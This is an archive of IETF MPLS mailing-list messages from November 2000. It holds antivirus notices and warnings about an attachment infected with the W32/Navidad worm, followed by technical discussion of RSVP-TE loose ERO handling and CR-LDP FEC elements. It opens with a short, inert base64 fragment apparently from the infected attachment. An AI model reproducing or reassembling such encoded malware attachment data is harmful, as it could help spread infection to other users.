AAAAAAAAAAAAAAAHAE4AYQB2AGkAZABhAGQAAAAAAAwASABlAGwAbABvACAAVwBvAHIAbABkACEA AAAAAAcATgBBAFYASQBEAEEARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA ------=_NextPart_000_00BE_01C04F16.314EDA60-- From owner-mpls@UU.NET Wed Nov 15 09:53:48 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA27771 for ; Wed, 15 Nov 2000 09:53:48 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpkt07921; Wed, 15 Nov 2000 14:51:50 GMT Received: by mail-control.mail.uu.net id QQjpkt12330 for mpls-outgoing; Wed, 15 Nov 2000 14:51:14 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpkt12248 for ; Wed, 15 Nov 2000 14:50:55 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpkt08731 for ; Wed, 15 Nov 2000 14:50:39 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpkt24348 for ; Wed, 15 Nov 2000 14:50:38 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id JAA19390 for mpls@uu.net; Wed, 15 Nov 2000 09:50:35 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpkt12092 for ; Wed, 15 Nov 2000 14:49:46 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpkt03087 for ; Wed, 15 Nov 2000 14:48:17 GMT Received: from tnnt3.tachion.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [198.139.117.130]) id QQjpkt25949 for ; Wed, 15 Nov 2000 14:48:16 GMT Received: by TNNT3 with Internet Mail Service (5.5.2650.21) id ; Wed, 15 Nov 2000 09:53:33 -0500 Message-ID: From: Antigen Administrator To: "'mpls@UU.NET'" Subject: Antigen found W32/Navidad@M (ED) virus Date: Wed, 15 Nov 2000 09:53:32 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C04F13.D2EFDAA2" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C04F13.D2EFDAA2 Content-Type: text/plain Antigen for Exchange Virus Detection FILENAME : Navidad.exe VIRUSNAME : W32/Navidad@M (ED) ACTION : Deleted MESSAGE : Networld Interoperabilty lab SENT BY : msjang@etri.re.kr LOCATION : IMC Queues\Inbound SERVER : Tachion Networks/TACHION/TNNT3 ------_=_NextPart_001_01C04F13.D2EFDAA2 Content-Type: text/html Antigen found W32/Navidad@M (ED) virus

Antigen for Exchange Virus Detection

FILENAME   : Navidad.exe
VIRUSNAME : W32/Navidad@M (ED)
ACTION     : Deleted
MESSAGE    : Networld Interoperabilty lab
SENT BY    : msjang@etri.re.kr
LOCATION   : IMC Queues\Inbound
SERVER     : Tachion Networks/TACHION/TNNT3

------_=_NextPart_001_01C04F13.D2EFDAA2-- From owner-mpls@UU.NET Wed Nov 15 09:56:37 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA29012 for ; Wed, 15 Nov 2000 09:56:36 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpkt04480; Wed, 15 Nov 2000 14:53:53 GMT Received: by mail-control.mail.uu.net id QQjpkt12664 for mpls-outgoing; Wed, 15 Nov 2000 14:53:25 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpkt12644 for ; Wed, 15 Nov 2000 14:53:17 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpkt00479 for ; Wed, 15 Nov 2000 14:51:38 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpkt07572 for ; Wed, 15 Nov 2000 14:51:38 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id JAA19871 for mpls@uu.net; Wed, 15 Nov 2000 09:51:37 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpkt12260 for ; Wed, 15 Nov 2000 14:50:57 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpkt00104 for ; Wed, 15 Nov 2000 14:49:42 GMT Received: from zeus.vortex.is by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: zeus.vortex.is [193.4.145.1]) id QQjpkt22804 for ; Wed, 15 Nov 2000 14:49:40 GMT Received: from froskur.flaga.is (mail.flaga.is [193.4.144.1]) by zeus.vortex.is (Post.Office MTA v3.5.3 release 223 ID# 0-60460U3500L350S0V35) with ESMTP id is for ; Wed, 15 Nov 2000 14:49:36 +0000 Received: from kolkrabbi.flaga.is ([192.168.145.6]) by froskur.flaga.is (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id is for ; Wed, 15 Nov 2000 14:48:40 +0000 Received: from mail pickup service by kolkrabbi.flaga.is with Microsoft SMTPSVC; Wed, 15 Nov 2000 14:48:39 +0000 From: Antigen@UU.NET To: mpls@UU.NET Subject: Antigen found W32/Navidad.32768.Worm (Norman,Sophos) virus Message-ID: X-OriginalArrivalTime: 15 Nov 2000 14:48:39.0813 (UTC) FILETIME=[24494B50:01C04F13] Date: 15 Nov 2000 14:48:39 +0000 Sender: owner-mpls@UU.NET Precedence: bulk Antigen for Exchange found Navidad.exe infected with W32/Navidad.32768.Worm (Norman,Sophos) virus. The file is currently Deleted. The message, "Networld Interoperabilty lab", was sent from msjang@etri.re.kr and was discovered in SMTP Messages\Inbound located at Flaga/First Administrative Group/KOLKRABBI. From owner-mpls@UU.NET Wed Nov 15 10:09:01 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA03831 for ; Wed, 15 Nov 2000 10:09:00 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpku24456; Wed, 15 Nov 2000 15:07:39 GMT Received: by mail-control.mail.uu.net id QQjpku22225 for mpls-outgoing; Wed, 15 Nov 2000 15:06:59 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpku22079 for ; Wed, 15 Nov 2000 15:06:54 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpku12240 for ; Wed, 15 Nov 2000 15:05:36 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpku28659 for ; Wed, 15 Nov 2000 15:05:35 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id KAA23540 for mpls@uu.net; Wed, 15 Nov 2000 10:05:34 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpkt11971 for ; Wed, 15 Nov 2000 14:48:55 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpkt27052 for ; Wed, 15 Nov 2000 14:48:19 GMT Received: from tnnt3.tachion.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [198.139.117.130]) id QQjpkt26040 for ; Wed, 15 Nov 2000 14:48:19 GMT Received: by TNNT3 with Internet Mail Service (5.5.2650.21) id ; Wed, 15 Nov 2000 09:53:41 -0500 Message-ID: From: Antigen Administrator To: "'mpls@UU.NET'" Subject: Antigen found W32/Navidad@M (ED) virus Date: Wed, 15 Nov 2000 09:53:40 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C04F13.D78741F4" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C04F13.D78741F4 Content-Type: text/plain Antigen for Exchange Virus Detection FILENAME : Navidad.exe VIRUSNAME : W32/Navidad@M (ED) ACTION : Deleted MESSAGE : Networld Interoperabilty lab SENT BY : msjang@etri.re.kr LOCATION : IMC Queues\Inbound SERVER : Tachion Networks/TACHION/TNNT3 ------_=_NextPart_001_01C04F13.D78741F4 Content-Type: text/html Antigen found W32/Navidad@M (ED) virus

Antigen for Exchange Virus Detection

FILENAME   : Navidad.exe
VIRUSNAME : W32/Navidad@M (ED)
ACTION     : Deleted
MESSAGE    : Networld Interoperabilty lab
SENT BY    : msjang@etri.re.kr
LOCATION   : IMC Queues\Inbound
SERVER     : Tachion Networks/TACHION/TNNT3

------_=_NextPart_001_01C04F13.D78741F4-- From owner-mpls@UU.NET Wed Nov 15 10:10:17 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA04253 for ; Wed, 15 Nov 2000 10:10:16 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpku03447; Wed, 15 Nov 2000 15:08:42 GMT Received: by mail-control.mail.uu.net id QQjpku23872 for mpls-outgoing; Wed, 15 Nov 2000 15:08:01 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpku23758 for ; Wed, 15 Nov 2000 15:07:59 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpku11624 for ; Wed, 15 Nov 2000 15:07:39 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpku24423 for ; Wed, 15 Nov 2000 15:07:38 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id KAA24045 for mpls@uu.net; Wed, 15 Nov 2000 10:07:37 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpku21715 for ; Wed, 15 Nov 2000 15:06:36 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpku12844 for ; Wed, 15 Nov 2000 15:05:31 GMT Received: from tnnt3.tachion.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [198.139.117.130]) id QQjpku21333 for ; Wed, 15 Nov 2000 15:05:31 GMT Received: by TNNT3 with Internet Mail Service (5.5.2650.21) id ; Wed, 15 Nov 2000 10:10:52 -0500 Message-ID: From: Antigen Administrator To: "'mpls@UU.NET'" Subject: Antigen found W32/Navidad@M (ED) virus Date: Wed, 15 Nov 2000 10:10:52 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C04F16.3EBDCD78" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C04F16.3EBDCD78 Content-Type: text/plain Antigen for Exchange Virus Detection FILENAME : Navidad.exe VIRUSNAME : W32/Navidad@M (ED) ACTION : Deleted MESSAGE : Networld Interoperabilty lab SENT BY : msjang@etri.re.kr LOCATION : IMC Queues\Inbound SERVER : Tachion Networks/TACHION/TNNT3 ------_=_NextPart_001_01C04F16.3EBDCD78 Content-Type: text/html Antigen found W32/Navidad@M (ED) virus

Antigen for Exchange Virus Detection

FILENAME   : Navidad.exe
VIRUSNAME : W32/Navidad@M (ED)
ACTION     : Deleted
MESSAGE    : Networld Interoperabilty lab
SENT BY    : msjang@etri.re.kr
LOCATION   : IMC Queues\Inbound
SERVER     : Tachion Networks/TACHION/TNNT3

------_=_NextPart_001_01C04F16.3EBDCD78-- From owner-mpls@UU.NET Wed Nov 15 10:12:19 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA04995 for ; Wed, 15 Nov 2000 10:12:19 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpku06939; Wed, 15 Nov 2000 15:10:43 GMT Received: by mail-control.mail.uu.net id QQjpku25862 for mpls-outgoing; Wed, 15 Nov 2000 15:09:58 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpku25845 for ; Wed, 15 Nov 2000 15:09:58 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpku22506 for ; Wed, 15 Nov 2000 15:09:47 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpku27686 for ; Wed, 15 Nov 2000 15:09:46 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id KAA24469 for mpls@uu.net; Wed, 15 Nov 2000 10:09:45 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjpku25327 for ; Wed, 15 Nov 2000 15:08:58 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpku29498 for ; Wed, 15 Nov 2000 15:07:54 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpku02136 for ; Wed, 15 Nov 2000 15:07:54 GMT Received: from rbradfor-nt.cisco.com (ch2-dhcp134-185.cisco.com [161.44.134.185]) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id KAA24073; Wed, 15 Nov 2000 10:07:51 -0500 (EST) Message-Id: <4.3.2.7.2.20001115100352.00bd2e40@pilgrim.cisco.com> X-Sender: rbradfor@pilgrim.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 15 Nov 2000 10:06:13 -0500 To: msjang@etri.re.kr, mpls@UU.NET From: Rich Bradford Subject: VIRUS WARNING Re: Networld Interoperabilty lab In-Reply-To: <011d01c04eca$c5a8aca0$df3efe81@etri.re.kr> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk FYI: My anti-virus software kicked in on an attachment to this mail message. >Found virus TROJ_NAVIDAD.A in file Navidad.exe > >********************************************************* >Pardon the intrusion, but does anyone have contact information for the >person who ran the MPLS interoperability lab at Networld+Interop, both in >Las Vegas and Atlanta? I believe he was from a mid-western university. > >Thanks, >Irwin -- Rich Bradford Email: rbradfor@cisco.com Cisco Systems, Inc. Tel: 978-244-3079 300 Apollo Drive Fax: 978-244-3079 Chelmsford, Mass 01824 From owner-mpls@UU.NET Wed Nov 15 10:54:04 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA19459 for ; Wed, 15 Nov 2000 10:54:04 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpkx07022; Wed, 15 Nov 2000 15:52:20 GMT Received: by mail-control.mail.uu.net id QQjpkx00204 for mpls-outgoing; Wed, 15 Nov 2000 15:51:33 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpkx00199 for ; Wed, 15 Nov 2000 15:51:32 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpkx26464 for ; Wed, 15 Nov 2000 15:50:33 GMT Received: from bgslc02.TBG.COM by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [63.99.125.2]) id QQjpkx28063 for ; Wed, 15 Nov 2000 15:50:33 GMT Received: by BGSLC02 with Internet Mail Service (5.5.2650.21) id ; Wed, 15 Nov 2000 08:49:13 -0700 Message-ID: <0C875DC28791D21192CD00104B95BFE7BAED3A@BGSLC02> From: Irwin Lazar To: "'mpls@uu.net'" Subject: FW: VIRUS WARNING Re: Networld Interoperabilty lab Date: Wed, 15 Nov 2000 08:49:11 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk This is very strange. I sent the original message quoted below almost a month ago. It appears that it was sent back to the list this morning from msjang@etri.re.kr with a virus attachment. Irwin > -----Original Message----- > From: Rich Bradford [mailto:rbradfor@cisco.com] > Sent: Wednesday, November 15, 2000 10:06 AM > To: msjang@etri.re.kr; mpls@UU.NET > Subject: VIRUS WARNING Re: Networld Interoperabilty lab > > > FYI: My anti-virus software kicked in on an attachment to > this mail message. > > >Found virus TROJ_NAVIDAD.A in file Navidad.exe > > > >********************************************************* > >Pardon the intrusion, but does anyone have contact > information for the > >person who ran the MPLS interoperability lab at > Networld+Interop, both in > >Las Vegas and Atlanta? I believe he was from a mid-western > university. > > > >Thanks, > >Irwin From owner-mpls@UU.NET Wed Nov 15 13:49:32 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA25973 for ; Wed, 15 Nov 2000 13:49:31 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjplj28797; Wed, 15 Nov 2000 18:47:57 GMT Received: by mail-control.mail.uu.net id QQjplj05010 for mpls-outgoing; Wed, 15 Nov 2000 18:47:29 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjplj05005 for ; Wed, 15 Nov 2000 18:47:26 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjplj12111 for ; Wed, 15 Nov 2000 18:47:01 GMT Received: from alpha.dtix.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: alpha.dtix.com [198.62.174.1]) id QQjplj27402 for ; Wed, 15 Nov 2000 18:47:00 GMT Received: from viper.dtix.com (viper.dtix.com [198.62.174.160]) by alpha.dtix.com (8.9.3/8.8.7) with SMTP id OAA03147; Wed, 15 Nov 2000 14:06:37 -0500 Message-ID: <00e701c04f34$8c7bef40$a0ae3ec6@dtix.com> From: "Ananda Sen Gupta" To: , , "Rich Bradford" References: <4.3.2.7.2.20001115100352.00bd2e40@pilgrim.cisco.com> Subject: Re: Networld Interoperabilty lab Date: Wed, 15 Nov 2000 13:47:42 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit It was: Bill Jensen of Univ. of Wisconsin, wej@doit.wisc.edu From owner-mpls@UU.NET Wed Nov 15 14:59:37 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA27528 for ; Wed, 15 Nov 2000 14:59:37 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpln07367; Wed, 15 Nov 2000 19:57:53 GMT Received: by mail-control.mail.uu.net id QQjpln23241 for mpls-outgoing; Wed, 15 Nov 2000 19:57:13 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjpln23236 for ; Wed, 15 Nov 2000 19:56:59 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpln17083 for ; Wed, 15 Nov 2000 19:56:49 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpln05775 for ; Wed, 15 Nov 2000 19:56:48 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id OAA02604 for mpls@uu.net; Wed, 15 Nov 2000 14:56:47 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpln23097 for ; Wed, 15 Nov 2000 19:56:08 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpln19693 for ; Wed, 15 Nov 2000 19:55:14 GMT Received: from miles.dataconnection.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtp2.datcon.co.uk [192.91.191.8]) id QQjpln25186 for ; Wed, 15 Nov 2000 19:55:14 GMT Received: by miles.dataconnection.com with Internet Mail Service (5.5.2650.21) id ; Wed, 15 Nov 2000 19:55:08 -0000 Message-ID: From: Adrian Farrel To: "Sanford, Bill" , "'Rita Hui'" , mpls@UU.NET Subject: RE: Loose ERO subobject Date: Wed, 15 Nov 2000 19:55:03 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hi, Just to clarify what Bill has said... >-----Original Message----- >From: Sanford, Bill [mailto:bills@netplane.com] >Sent: Tuesday, November 14, 2000 4:32 PM >To: 'Rita Hui'; mpls@UU.NET >Subject: RE: Loose ERO subobject > > > > >-----Original Message----- >From: Rita Hui [mailto:huil_98@yahoo.com] >Sent: Monday, November 13, 2000 9:21 PM >To: mpls@UU.NET >Subject: Loose ERO subobject > > >Hi, > >In RSVP-TE, when a LSR receives a PATH message with >the first ERO subobject being a LOOSE one, which of >the following behaviour is correct? > >1) It generates error "Bad Initial subobject" if the >node does not belong to the address described by the >subobject. >2) It does not generate the "bad initial subobject" >error, but directly send the message off towards that >address. If it does not have a path, generate "Bad >loose node". > >***** >Rita, if the LSR gets the PATH message and strips off its own >hop address, This is the key point in Rita's question. The LSR, when it receives a Path with ERO, expects to be a member of the abstract node described by the top subobject. This is not a loose/strict issue, but rather one of specific address versus prefix/AS number. If, at the previous LSR, the top subobject was loose and the current LSR is not part of the abstract node defined by that subobject, the previous LSR MUST insert a new subobject to define an abstract node that includes the current LSR (this would normally be an explicit address). >and the next hop it has is loose, the packet >should send it out to the next hop (if it is in its table) or >send it out an interface or interfaces to establish a >connection to the next hop. The LSR *should* add ERO hops if >it can find the next ERO at more than the next hop away. If it >can't find it, the LSR should return with an error of "No Route >Found" with say a "bad loose node" error code. >**** > >If it does evaluate the first ERO subobject even if it >is loose, this is different than what CR-LDP, which >only evalutes when the first ERO subobject is strict. >What is the rationale for this distinct behaviour? > >***** >I would think that this would keep dynamic rerouting working >at a particular point in the network, if there were known >problems at some of the next hops of the LSR. >***** > >Rita -- Adrian Farrel mailto:af@dataconnection.com Network Convergence Group Data Connection Ltd., Chester, UK http://www.dataconnection.com/ Tel: +44 (0) 1244 313440 Fax: +44 (0) 1244 312422 From owner-mpls@UU.NET Wed Nov 15 15:26:46 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA07327 for ; Wed, 15 Nov 2000 15:26:46 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjplp05911; Wed, 15 Nov 2000 20:24:26 GMT Received: by mail-control.mail.uu.net id QQjplp07267 for mpls-outgoing; Wed, 15 Nov 2000 20:23:49 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjplp07242 for ; Wed, 15 Nov 2000 20:23:46 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjplp18041 for ; Wed, 15 Nov 2000 20:21:13 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjplp29886 for ; Wed, 15 Nov 2000 20:21:12 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id PAA05913 for mpls@uu.net; Wed, 15 Nov 2000 15:21:12 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjplo05818 for ; Wed, 15 Nov 2000 20:09:55 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjplo11481 for ; Wed, 15 Nov 2000 20:09:33 GMT Received: from coltrane.dataconnection.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtp.datcon.co.uk [192.91.191.4]) id QQjplo13632 for ; Wed, 15 Nov 2000 20:09:32 GMT Received: by smtp.datcon.co.uk with Internet Mail Service (5.5.2650.21) id ; Wed, 15 Nov 2000 20:09:24 -0000 Message-ID: From: Adrian Farrel To: nagarajup@internet-trends.net, mpls@UU.NET Subject: RE: Information Regarding CR-LDP Date: Wed, 15 Nov 2000 20:05:27 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk You could put a FEC in (just like LDP) and route on that, but the draft says... A single FEC element MUST be included in the Label Request Message. The FEC Element SHOULD be the CR-LSP FEC Element. However, one of the other FEC elements (Type=0x01, 0x02, 0x03) defined in [1] MAY be in CR-LDP messages instead of the CR-LSP FEC Element for certain applications. Which suggests that many applications will not support this. A better approach is to use an ER TLV with a single hop loosely specifying the egress node. Regards, Adrian -- Adrian Farrel mailto:af@dataconnection.com Network Convergence Group Data Connection Ltd., Chester, UK http://www.dataconnection.com/ Tel: +44 (0) 1244 313440 Fax: +44 (0) 1244 312422 >-----Original Message----- >From: P.Nagaraju 